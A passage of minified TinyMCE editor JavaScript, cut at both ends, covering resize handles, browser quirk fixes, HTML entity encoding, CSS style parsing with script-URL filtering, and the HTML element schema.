handleElm,startDrag=function(e){startX=e.screenX,startY=e.screenY,startW=getResizeTarget(selectedElm).clientWidth,startH=getResizeTarget(selectedElm).clientHeight,ratio=startH/startW,selectedHandle=handle,handle.startPos={x:targetWidth*handle[0]+selectedElmX,y:targetHeight*handle[1]+selectedElmY},startScrollWidth=rootElement.scrollWidth,startScrollHeight=rootElement.scrollHeight,selectedElmGhost=selectedElm.cloneNode(!0),dom.addClass(selectedElmGhost,"mce-clonedresizable"),dom.setAttrib(selectedElmGhost,"data-mce-bogus","all"),selectedElmGhost.contentEditable=!1,selectedElmGhost.unSelectabe=!0,dom.setStyles(selectedElmGhost,{left:selectedElmX,top:selectedElmY,margin:0,width:targetWidth,height:targetHeight}),selectedElmGhost.removeAttribute("data-mce-selected"),rootElement.appendChild(selectedElmGhost),dom.bind(editableDoc,"mousemove",resizeGhostElement),dom.bind(editableDoc,"mouseup",endGhostResize),rootDocument!==editableDoc&&(dom.bind(rootDocument,"mousemove",resizeGhostElement),dom.bind(rootDocument,"mouseup",endGhostResize)),resizeHelper=dom.add(rootElement,"div",{class:"mce-resize-helper","data-mce-bogus":"all"},startW+" &times; "+startH)};handleElm=dom.get("mceResizeHandle"+name),handleElm&&dom.remove(handleElm),handleElm=dom.add(rootElement,"div",{id:"mceResizeHandle"+name,"data-mce-bogus":"all",class:"mce-resizehandle mce-resizehandle-"+name,unselectable:!0,style:"cursor:"+name+"-resize; margin:0; padding:0; user-select: none; -ms-user-select: none;"}),tinymce.isIE11&&(handleElm.contentEditable=!1),dom.bind(handleElm,"mousedown",function(e){e.stopImmediatePropagation(),e.preventDefault(),startDrag(e)}),handle.elm=handleElm,dom.setStyles(handleElm,{left:targetWidth*handle[0]+selectedElmX-handleElm.offsetWidth/2,top:targetHeight*handle[1]+selectedElmY-handleElm.offsetHeight/2})}):hideResizeRect(),selectedElm.setAttribute("data-mce-selected","1")},hideResizeRect=function(){var name,handleElm;unbindResizeHandleEvents(),selectedElm&&selectedElm.removeAttribute("data-mce-selected");for(name in resizeHandles)handleElm=dom.get("mceResizeHandle"+name),handleElm&&(dom.unbind(handleElm),dom.remove(handleElm))},updateResizeRect=function(e){var startElm,controlElm,isChildOrEqual=function(node,parent){if(node)do if(node===parent)return!0;while(node=node.parentNode)};if(!resizeStarted&&!editor.removed)return each(dom.select("img[data-mce-selected],hr[data-mce-selected]"),function(img){img.removeAttribute("data-mce-selected")}),controlElm="mousedown"===e.type?e.target:selection.getNode(),controlElm=dom.closest(controlElm,"table,img,figure[data-mce-image],hr")[0],isChildOrEqual(controlElm,rootElement)&&(disableGeckoResize(),startElm=selection.getStart(!0),isChildOrEqual(startElm,controlElm)&&isChildOrEqual(selection.getEnd(!0),controlElm))?void showResizeRect(controlElm):void hideResizeRect()},unbindResizeHandleEvents=function(){for(var name in resizeHandles){var handle=resizeHandles[name];handle.elm&&(dom.unbind(handle.elm),delete handle.elm)}},disableGeckoResize=function(){try{editor.getDoc().execCommand("enableObjectResizing",!1,!1)}catch(ex){}};editor.onNodeChange.add(updateResizeRect),editor.onBeforeGetContent.add(hideResizeRect),dom.bind(editableDoc,"selectionchange",updateResizeRect),editor.serializer.addAttributeFilter("data-mce-selected",function(nodes,name){for(var i=nodes.length;i--;)nodes[i].attr(name,null)}),disableGeckoResize()}}function keepNoScriptContents(){getDocumentMode()<9&&(parser.addNodeFilter("noscript",function(nodes){for(var node,textNode,i=nodes.length;i--;)node=nodes[i],textNode=node.firstChild,textNode&&node.attr("data-mce-innertext",textNode.value)}),serializer.addNodeFilter("noscript",function(nodes){for(var node,textNode,value,i=nodes.length;i--;)node=nodes[i],textNode=nodes[i].firstChild,textNode?textNode.value=tinymce.html.Entities.decode(textNode.value):(value=node.attributes.map["data-mce-innertext"],value&&(node.attr("data-mce-innertext",null),textNode=new tinymce.html.Node("#text",3),textNode.value=value,textNode.raw=!0,node.append(textNode)))}))}function bodyHeight(){editor.contentStyles.push("body {min-height: 100px}"),editor.onClick.add(function(ed,e){"HTML"==e.target.nodeName&&(editor.execCommand("SelectAll"),editor.selection.collapse(!0),editor.nodeChanged())})}function fixControlSelection(){editor.onInit.add(function(){var selectedRng;editor.getBody().addEventListener("mscontrolselect",function(e){setTimeout(function(){editor.selection.getNode()!=e.target&&(selectedRng=editor.selection.getRng(),selection.fakeRng=editor.dom.createRng(),selection.fakeRng.setStartBefore(e.target),selection.fakeRng.setEndAfter(e.target))},0),"IMG"==e.target.tagName&&(e.preventDefault(),window.setTimeout(function(){editor.selection.select(e.target)},0))},!1),editor.getDoc().addEventListener("selectionchange",function(e){selectedRng&&!tinymce.dom.RangeUtils.compareRanges(editor.selection.getRng(),selectedRng)&&(selection.fakeRng=selectedRng=null)},!1)}),tinymce.isIE12&&editor.onClick.add(function(editor,e){e=e.target,/^(IMG|HR|TABLE)$/.test(e.nodeName)&&selection.select(e),"A"==e.nodeName&&dom.hasClass(e,"mce-item-anchor")&&selection.select(e),editor.nodeChanged()})}function imageFloatLinkBug(){editor.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){if("mceInsertLink"==cmd){var se=ed.selection,n=se.getNode();n&&"IMG"==n.nodeName&&(ed.dom.setAttrib(n,"data-mce-style",n.style.cssText),n.style.cssText=null)}}),editor.onExecCommand.add(function(ed,cmd,ui,v,o){if("mceInsertLink"==cmd){var se=ed.selection,n=se.getNode();tinymce.each(ed.dom.select("img[data-mce-style]",n),function(el){"A"!=el.parentNode.nodeName||el.style.cssText||(el.style.cssText=ed.dom.getAttrib(el,"data-mce-style"))})}})}var VK=tinymce.VK,BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE,dom=editor.dom,selection=editor.selection,settings=editor.settings,parser=editor.parser,serializer=editor.serializer,each=tinymce.each,RangeUtils=tinymce.dom.RangeUtils,TreeWalker=tinymce.dom.TreeWalker,mceInternalUrlPrefix="data:text/mce-internal,",mceInternalDataType=tinymce.isIE?"Text":"URL";disableBackspaceIntoATable(),removeBlockQuoteOnBackSpace(),emptyEditorWhenDeleting(),tinymce.isWebKit&&(cleanupStylesWhenDeleting(),inputMethodFocus(),selectControlElements(),setDefaultBlockType(),imageFloatLinkBug(),tinymce.isIDevice?selectionChangeNodeChanged():selectAll()),tinymce.isIE&&!tinymce.isIE11&&(removeHrOnBackspace(),ensureBodyHasRoleApplication(),addNewLinesBeforeBrInPre(),removePreSerializedStylesWhenSelectingControls(),deleteControlItemOnBackSpace(),renderEmptyBlocksFix(),keepNoScriptContents()),tinymce.isIE11&&(bodyHeight(),fixControlSelection()),tinymce.isIE12&&fixControlSelection(),tinymce.isGecko&&!tinymce.isIE11&&(removeHrOnBackspace(),focusBody(),removeStylesWhenDeletingAccrossBlockElements(),setGeckoEditingOptions(),addBrAfterLastLinks(),removeGhostSelection()),fakeImageResize()},function(tinymce){function nativeDecode(text){var elm;return elm=document.createElement("div"),elm.innerHTML=text,elm.textContent||elm.innerText||text}function buildEntitiesLookup(items,radix){var i,chr,entity,lookup={};if(items){for(items=items.split(","),radix=radix||10,i=0;i<items.length;i+=2)chr=String.fromCharCode(parseInt(items[i],radix)),baseEntities[chr]||(entity="&"+items[i+1]+";",lookup[chr]=entity,lookup[entity]=chr);return lookup}}var namedEntities,baseEntities,reverseEntities,attrsCharsRegExp=/[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,textCharsRegExp=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,rawCharsRegExp=/[<>&\"\']/g,entityRegExp=/&#([a-z0-9]+);?|&([a-z0-9]+);/gi,asciiMap={128:"€",130:"‚",131:"ƒ",132:"„",133:"…",134:"†",135:"‡",136:"ˆ",137:"‰",138:"Š",139:"‹",140:"Œ",142:"Ž",145:"‘",146:"’",147:"“",148:"”",149:"•",150:"–",151:"—",152:"˜",153:"™",154:"š",155:"›",156:"œ",158:"ž",159:"Ÿ"};baseEntities={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;","`":"&#96;"},reverseEntities={"&lt;":"<","&gt;":">","&amp;":"&","&quot;":'"',"&apos;":"'"},namedEntities=buildEntitiesLookup("50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro",32),tinymce.html=tinymce.html||{},tinymce.html.Entities={encodeRaw:function(text,attr){return text.replace(attr?attrsCharsRegExp:textCharsRegExp,function(chr){return baseEntities[chr]||chr})},encodeAllRaw:function(text){return(""+text).replace(rawCharsRegExp,function(chr){return baseEntities[chr]||chr})},encodeNumeric:function(text,attr){return text.replace(attr?attrsCharsRegExp:textCharsRegExp,function(chr){return chr.length>1?"&#"+(1024*(chr.charCodeAt(0)-55296)+(chr.charCodeAt(1)-56320)+65536)+";":baseEntities[chr]||"&#"+chr.charCodeAt(0)+";"})},encodeNamed:function(text,attr,entities){return entities=entities||namedEntities,text.replace(attr?attrsCharsRegExp:textCharsRegExp,function(chr){return baseEntities[chr]||entities[chr]||chr})},getEncodeFunc:function(name,entities){function encodeNamedAndNumeric(text,attr){return text.replace(attr?attrsCharsRegExp:textCharsRegExp,function(chr){return baseEntities[chr]||entities[chr]||"&#"+chr.charCodeAt(0)+";"||chr})}function encodeCustomNamed(text,attr){return Entities.encodeNamed(text,attr,entities)}var Entities=tinymce.html.Entities;return entities=buildEntitiesLookup(entities)||namedEntities,name=tinymce.makeMap(name.replace(/\+/g,",")),name.named&&name.numeric?encodeNamedAndNumeric:name.named?entities?encodeCustomNamed:Entities.encodeNamed:name.numeric?Entities.encodeNumeric:Entities.encodeRaw},decode:function(text){return text.replace(entityRegExp,function(all,numeric){return numeric?(numeric="x"===numeric.charAt(0).toLowerCase()?parseInt(numeric.substr(1),16):parseInt(numeric,10),numeric>65535?(numeric-=65536,String.fromCharCode(55296+(numeric>>10),56320+(1023&numeric))):asciiMap[numeric]||String.fromCharCode(numeric)):reverseEntities[all]||namedEntities[all]||nativeDecode(all)})}}}(tinymce),tinymce.html.Styles=function(settings,schema){function toHex(match,r,g,b){function hex(val){return val=parseInt(val,10).toString(16),val.length>1?val:"0"+val}return"#"+hex(r)+hex(g)+hex(b)}var undef,i,encodingItems,validStyles,invalidStyles,rgbRegExp=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,urlOrStrRegExp=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,styleRegExp=/\s*([^:]+):\s*([^;]+);?/g,trimRightRegExp=/\s+$/,encodingLookup={},invisibleChar="\ufeff";for(settings=settings||{},schema&&(validStyles=schema.getValidStyles(),invalidStyles=schema.getInvalidStyles()),encodingItems=("\\\" \\' \\; \\: ; : "+invisibleChar).split(" "),i=0;i<encodingItems.length;i++)encodingLookup[encodingItems[i]]=invisibleChar+i,encodingLookup[invisibleChar+i]=encodingItems[i];return{toHex:function(color){return color.replace(rgbRegExp,toHex)},parse:function(css){function compress(prefix,suffix,noJoin){var top,right,bottom,left;if(top=styles[prefix+"-top"+suffix],top&&(right=styles[prefix+"-right"+suffix],right&&(bottom=styles[prefix+"-bottom"+suffix],bottom&&(left=styles[prefix+"-left"+suffix])))){var box=[top,right,bottom,left];for(i=box.length-1;i--&&box[i]===box[i+1];);i>-1&&noJoin||(styles[prefix+suffix]=i==-1?box[0]:box.join(" "),delete styles[prefix+"-top"+suffix],delete styles[prefix+"-right"+suffix],delete styles[prefix+"-bottom"+suffix],delete styles[prefix+"-left"+suffix])}}function canCompress(key){var i,value=styles[key];if(value){for(value=value.split(" "),i=value.length;i--;)if(value[i]!==value[0])return!1;return styles[key]=value[0],!0}}function compress2(target,a,b,c){canCompress(a)&&canCompress(b)&&canCompress(c)&&(styles[target]=styles[a]+" "+styles[b]+" "+styles[c],delete styles[a],delete styles[b],delete styles[c])}function encode(str){return isEncoded=!0,encodingLookup[str]}function decode(str,keep_slashes){return isEncoded&&(str=str.replace(/\uFEFF[0-9]/g,function(str){return encodingLookup[str]})),keep_slashes||(str=str.replace(/\\([\'\";:])/g,"$1")),str}function processUrl(match,url,url2,url3,str,str2){if(str=str||str2)return str=decode(str),"'"+str.replace(/\'/g,"\\'")+"'";if(url=decode(url||url2||url3),!settings.allow_script_urls){var scriptUrl=url.replace(/[\s\r\n]+/,"");if(/(java|vb)script:/i.test(scriptUrl))return"";if(!settings.allow_svg_data_urls&&/^data:image\/svg/i.test(scriptUrl))return""}return urlConverter&&(url=urlConverter.call(urlConverterScope,url,"style")),"url('"+url.replace(/\'/g,"\\'")+"')"}var matches,name,value,isEncoded,styles={},urlConverter=settings.url_converter,urlConverterScope=settings.url_converter_scope||this;if(css){for(css=css.replace(/[\u0000-\u001F]/g,""),css=css.replace(/\\[\"\';:\uFEFF]/g,encode).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(str){return str.replace(/[;:]/g,encode)});matches=styleRegExp.exec(css);){if(name=matches[1].replace(trimRightRegExp,"").toLowerCase(),value=matches[2].replace(trimRightRegExp,""),value=value.replace(/\\[0-9a-f]+/g,function(e){return String.fromCharCode(parseInt(e.substr(1),16))}),name&&value.length>0){if(!settings.allow_script_urls&&("behavior"==name||/expression\s*\(|\/\*|\*\//.test(value)))continue;"font-weight"===name&&"700"===value?value="bold":"color"!==name&&"background-color"!==name||(value=value.toLowerCase()),value=value.replace(rgbRegExp,toHex),value=value.replace(urlOrStrRegExp,processUrl),styles[name]=isEncoded?decode(value,!0):value}styleRegExp.lastIndex=matches.index+matches[0].length}compress("border","",!0),compress("border","-width"),compress("border","-color"),compress("border","-style"),compress("padding",""),compress("margin",""),compress2("border","border-width","border-style","border-color"),"medium none"===styles.border&&delete styles.border,"none"===styles["border-image"]&&delete styles["border-image"]}return styles},serialize:function(styles,elementName){function serializeStyles(name){var styleList,i,l,value;if(styleList=validStyles[name])for(i=0,l=styleList.length;i<l;i++)name=styleList[i],value=styles[name],value!==undef&&value.length>0&&(css+=(css.length>0?" ":"")+name+": "+value+";")}function isValid(name,elementName){var styleMap;return styleMap=invalidStyles["*"],(!styleMap||!styleMap[name])&&(styleMap=invalidStyles[elementName],!styleMap||!styleMap[name])}var name,value,css="";if(elementName&&validStyles)serializeStyles("*"),serializeStyles(elementName);else for(name in styles)value=styles[name],value!==undef&&value.length>0&&(invalidStyles&&!isValid(name,elementName)||(css+=(css.length>0?" ":"")+name+": "+value+";"));return css}}},function(tinymce){function split(items,delim){return items?items.split(delim||" "):[]}function compileSchema(type){function add(name,attributes,children){function arrayToMap(array,obj){var i,l,map={};for(i=0,l=array.length;i<l;i++)map[array[i]]=obj||{};return map}var ni,i,attributesOrder,args=arguments;for(children=children||[],attributes=attributes||"","string"==typeof children&&(children=split(children)),i=3;i<args.length;i++)"string"==typeof args[i]&&(args[i]=split(args[i])),children.push.apply(children,args[i]);for(name=split(name),ni=name.length;ni--;)attributesOrder=[].concat(globalAttributes,split(attributes)),schema[name[ni]]={attributes:arrayToMap(attributesOrder),attributesOrder:attributesOrder,children:arrayToMap(children,dummyObj)}}function addAttrs(name,attributes){var ni,schemaItem,i,l;for(name=split(name),ni=name.length,attributes=split(attributes);ni--;)for(schemaItem=schema[name[ni]],i=0,l=attributes.length;i<l;i++)schemaItem.attributes[attributes[i]]||(schemaItem.attributes[attributes[i]]={},schemaItem.attributesOrder.push(attributes[i]))}var globalAttributes,blockContent,phrasingContent,flowContent,html4BlockContent,html4PhrasingContent,schema={};return mapCache[type]?mapCache[type]:(globalAttributes=split("id accesskey class dir lang style tabindex title"),globalAttributes.push.apply(globalAttributes,split("onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup")),"html4"!=type&&globalAttributes.push.apply(globalAttributes,split("ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop onmousewheel onscroll")),eventAttributes=split("onabort onblur oncancel oncanplay oncanplaythrough onchange onclose oncontextmenu oncuechange ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended onerror onfocus oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmouseenter onmouseleave onpause onplay onplaying onprogress onratechange onreset onscroll onseeked onseeking onseeking onselect onshow onstalled onsubmit onsuspend ontimeupdate onvolumechange onwaiting onwheel"),"html4"!=type&&globalAttributes.push.apply(globalAttributes,eventAttributes),globalAttributes.push.apply(globalAttributes,split("itemscope itemtype itemid itemprop itemref")),globalAttributes.push.apply(globalAttributes,split("role")),blockContent=split("address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul"),phrasingContent=split("a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd label map noscript object q s samp script select small span strong sub sup textarea u var link style #text #comment"),"html4"!=type&&(globalAttributes.push.apply(globalAttributes,split("contenteditable contextmenu draggable dropzone hidden spellcheck translate")),blockContent.push.apply(blockContent,split("article aside details dialog figure header footer hgroup section nav")),phrasingContent.push.apply(phrasingContent,split("audio canvas command datalist mark meter output picture progress time wbr video ruby bdi keygen"))),"html5-strict"!=type&&(globalAttributes.push("xml:lang"),html4PhrasingContent=split("acronym applet basefont big font strike tt"),phrasingContent.push.apply(phrasingContent,html4PhrasingContent),each(html4PhrasingContent,function(name){add(name,"",phrasingContent)}),html4BlockContent=split("center dir isindex noframes"),blockContent.push.apply(blockContent,html4BlockContent),flowContent=[].concat(blockContent,phrasingContent),each(html4BlockContent,function(name){add(name,"",flowContent)})),flowContent=flowContent||[].concat(blockContent,phrasingContent),add("html","manifest","head body"),add("head","","base command link meta noscript script style title"),add("title hr noscript br"),add("base","href target"),add("link","href rel media hreflang type sizes hreflang"),add("meta","name http-equiv content charset"),add("style","media type scoped"),add("script","src async defer type charset"),add("body","onafterprint onbeforeprint onbeforeunload onblur onerror onfocus onhashchange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onresize onscroll onstorage onunload",flowContent),add("address dt dd div caption","",flowContent),add("h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn","",phrasingContent),add("blockquote","cite",flowContent),add("ol","reversed start type","li"),add("ul","","li"),add("li","value",flowContent),add("dl","","dt dd"),add("a","href target rel media hreflang type",phrasingContent),add("q","cite",phrasingContent),add("ins del","cite datetime",flowContent),add("img","src sizes srcset alt usemap ismap width height"),add("iframe","src name width height",flowContent),add("embed","src type width height"),add("object","data type typemustmatch name usemap form width height",flowContent,"param"),add("param","name value"),add("map","name",flowContent,"area"),add("area","alt coords shape href target rel media hreflang type"),add("table","border","caption colgroup thead tfoot tbody tr"+("html4"==type?" col":"")),add("colgroup","span","col"),add("col","span"),add("tbody thead tfoot","","tr"),add("tr","","td th"),add("td","colspan rowspan headers",flowContent),add("th","colspan rowspan headers scope abbr",flowContent),add("form","accept-charset action autocomplete enctype method name novalidate target",flowContent),add("fieldset","disabled form name",flowContent,"legend"),add("label","form for",phrasingContent),add("input","accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate formtarget height list max maxlength min multiple name pattern readonly required size src step type value width"),add("button","disabled form formaction formenctype formmethod formnovalidate formtarget name type value","html4"==type?flowContent:phrasingContent),add("select","disabled form multiple name required size","option optgroup"),add("optgroup","disabled label","option"),add("option","disabled label selected value"),add("textarea","cols dirname disabled form maxlength name readonly required rows wrap"),add("menu","type label",flowContent,"li"),add("noscript","",flowContent),"html4"!=type&&(add("wbr"),add("ruby","",phrasingContent,"rt rp"),add("figcaption","",flowContent),add("mark rt rp summary bdi","",phrasingContent),add("canvas","width height",flowContent),add("video","src crossorigin poster preload autoplay mediagroup loop muted controls width height buffered controlslist playsinline",flowContent,"track source"),add("audio","src crossorigin preload autoplay mediagroup loop muted controls buffered volume controlslist",flowContent,"track source"),add("picture","","img source"),add("source","src srcset type media sizes"),add("track","kind src srclang label default"),add("datalist","",phrasingContent,"option"),add("article section nav aside header footer","",flowContent),add("hgroup","","h1 h2 h3 h4 h5 h6"),add("figure","",flowContent,"figcaption"),add("time","datetime",phrasingContent),add("dialog","open",flowContent),add("command","type label icon disabled checked radiogroup command"),add("output","for form name",phrasingContent),add("progress","value max",phrasingContent),add("meter","value min max low high optimum",phrasingContent),add("details","open",flowContent,"summary"),add("keygen","autofocus challenge disabled form keytype name"),add("a","href target rel media hreflang type",flowContent)),addAttrs("form","onblur onchange onfocus onselect onsubmit"),"html5-strict"!=type&&(addAttrs("script","language xml:space"),addAttrs("style","xml:space"),addAttrs("object","declare classid code codebase codetype archive standby align border hspace vspace"),addAttrs("embed","align name hspace vspace"),addAttrs("param","valuetype type"),addAttrs("a","charset name rev shape coords"),addAttrs("br","clear"),addAttrs("applet","codebase archive code object alt name width height align hspace vspace"),addAttrs("img","name longdesc align border hspace vspace"),addAttrs("iframe","longdesc frameborder marginwidth marginheight scrolling align"),addAttrs("font basefont","size color face"),addAttrs("input","usemap align"),addAttrs("select","onchange"),addAttrs("textarea"),addAttrs("h1 h2 h3 h4 h5 h6 div p legend caption","align"),addAttrs("ul","type compact"),addAttrs("li","type"),addAttrs("ol dl menu dir","compact"),addAttrs("pre","width xml:space"),addAttrs("hr","align noshade size width"),addAttrs("isindex","prompt"),addAttrs("table","summary width frame rules cellspacing cellpadding align bgcolor"),addAttrs("col","width align char charoff valign"),addAttrs("colgroup","width align char charoff valign"),addAttrs("thead","align char charoff valign"),addAttrs("tr","align char charoff valign bgcolor"),addAttrs("th","axis align char charoff valign nowrap bgcolor width height"),addAttrs("form","accept"),addAttrs("td","abbr axis scope align char charoff valign nowrap bgcolor width height"),addAttrs("tfoot","align char charoff valign"),addAttrs("tbody","align char charoff valign"),addAttrs("area","nohref"),addAttrs("body","background bgcolor text link vlink alink"),
addAttrs("form","onreset")),"html4"!=type&&(addAttrs("input button select textarea","autofocus"),addAttrs("input textarea","placeholder"),addAttrs("a","download"),addAttrs("link script img","crossorigin"),addAttrs("iframe","sandbox seamless allowfullscreen allow referrerpolicy"),addAttrs("form","oncontextmenu onformchange onforminput oninput oninvalid"),addAttrs("video audio","onabort oncanplay oncanplaythrough ondurationchange onemptied onended onerror onloadeddata onloadedmetadata onloadstart onpause onplay onplaying onprogress onratechange onreadystatechange onseeked onseeking onstalled onsuspend ontimeupdate onvolumechange onwaiting")),each(split("a form meter progress dfn"),function(name){schema[name]&&delete schema[name].children[name]}),delete schema.caption.children.table,mapCache[type]=schema,schema)}function compileElementMap(value,mode){var styles;return value&&(styles={},"string"==typeof value&&(value={"*":value}),each(value,function(value,key){styles[key]=styles[key.toUpperCase()]="map"==mode?makeMap(value,/[, ]/):explode(value,/[, ]/)})),styles}var mapCache={},dummyObj={},makeMap=tinymce.makeMap,each=tinymce.each,extend=tinymce.extend,explode=tinymce.explode,inArray=tinymce.inArray;tinymce.html.Schema=function(settings){function createLookupTable(option,default_value,extendWith){var value=settings[option];return value?value=makeMap(value,/[, ]/,makeMap(value.toUpperCase(),/[, ]/)):(value=mapCache[option],value||(value=makeMap(default_value," ",makeMap(default_value.toUpperCase()," ")),value=extend(value,extendWith),mapCache[option]=value)),value}function patternToRegExp(str){return new RegExp("^"+str.replace(/([?+*])/g,".$1")+"$")}function addValidElements(validElements){var ei,el,ai,al,matches,element,attr,attrData,elementName,attrName,attrType,attributes,attributesOrder,prefix,outputName,globalAttributes,globalAttributesOrder,key,value,elementRuleRegExp=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,attrRuleRegExp=/^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,hasPatternsRegExp=/[*?+]/;if(validElements)for(validElements=split(validElements,","),elements["@"]&&(globalAttributes=elements["@"].attributes,globalAttributesOrder=elements["@"].attributesOrder),ei=0,el=validElements.length;ei<el;ei++)if(matches=elementRuleRegExp.exec(validElements[ei])){if(prefix=matches[1],elementName=matches[2],outputName=matches[3],attrData=matches[5],attributes={},attributesOrder=[],element={attributes:attributes,attributesOrder:attributesOrder},"#"===prefix&&(element.paddEmpty=!0),"-"===prefix&&(element.removeEmpty=!0),"!"===matches[4]&&(element.removeEmptyAttrs=!0),globalAttributes){for(key in globalAttributes)attributes[key]=globalAttributes[key];attributesOrder.push.apply(attributesOrder,globalAttributesOrder)}if(attrData)for(attrData=split(attrData,"|"),ai=0,al=attrData.length;ai<al;ai++)if(matches=attrRuleRegExp.exec(attrData[ai])){if(attr={},attrType=matches[1],attrName=matches[2].replace(/::/g,":"),prefix=matches[3],value=matches[4],"!"===attrType&&(element.attributesRequired=element.attributesRequired||[],element.attributesRequired.push(attrName),attr.required=!0),"-"===attrType){delete attributes[attrName],attributesOrder.splice(inArray(attributesOrder,attrName),1);continue}prefix&&("="===prefix&&(element.attributesDefault=element.attributesDefault||[],element.attributesDefault.push({name:attrName,value:value}),attr.defaultValue=value),":"===prefix&&(element.attributesForced=element.attributesForced||[],element.attributesForced.push({name:attrName,value:value}),attr.forcedValue=value),"<"===prefix&&(attr.validValues=makeMap(value,"?"))),hasPatternsRegExp.test(attrName)?(element.attributePatterns=element.attributePatterns||[],attr.pattern=patternToRegExp(attrName),element.attributePatterns.push(attr)):(attributes[attrName]||attributesOrder.push(attrName),attributes[attrName]=attr)}globalAttributes||"@"!=elementName||(globalAttributes=attributes,globalAttributesOrder=attributesOrder),outputName&&(element.outputName=elementName,elements[outputName]=element),hasPatternsRegExp.test(elementName)?(element.pattern=patternToRegExp(elementName),patternElements.push(element)):elements[elementName]=element}}function setValidElements(validElements){elements={},patternElements=[],addValidElements(validElements),each(schemaItems,function(element,name){children[name]=element.children})}function addCustomElements(customElements){var customElementRegExp=/^(~)?(.+)$/;customElements&&(mapCache.text_block_elements=mapCache.block_elements=null,each(split(customElements,","),function(rule){var matches=customElementRegExp.exec(rule),inline="~"===matches[1],cloneName=inline?"span":"div",name=matches[2];if(children[name]=children[cloneName],customElementsMap[name]=cloneName,inline||(blockElementsMap[name.toUpperCase()]={},blockElementsMap[name]={}),!elements[name]){var customRule=elements[cloneName];customRule=extend({},customRule),delete customRule.removeEmptyAttrs,delete customRule.removeEmpty,elements[name]=customRule}each(children,function(element,elmName){element[cloneName]&&(children[elmName]=element=extend({},children[elmName]),element[name]=element[cloneName])})}))}function 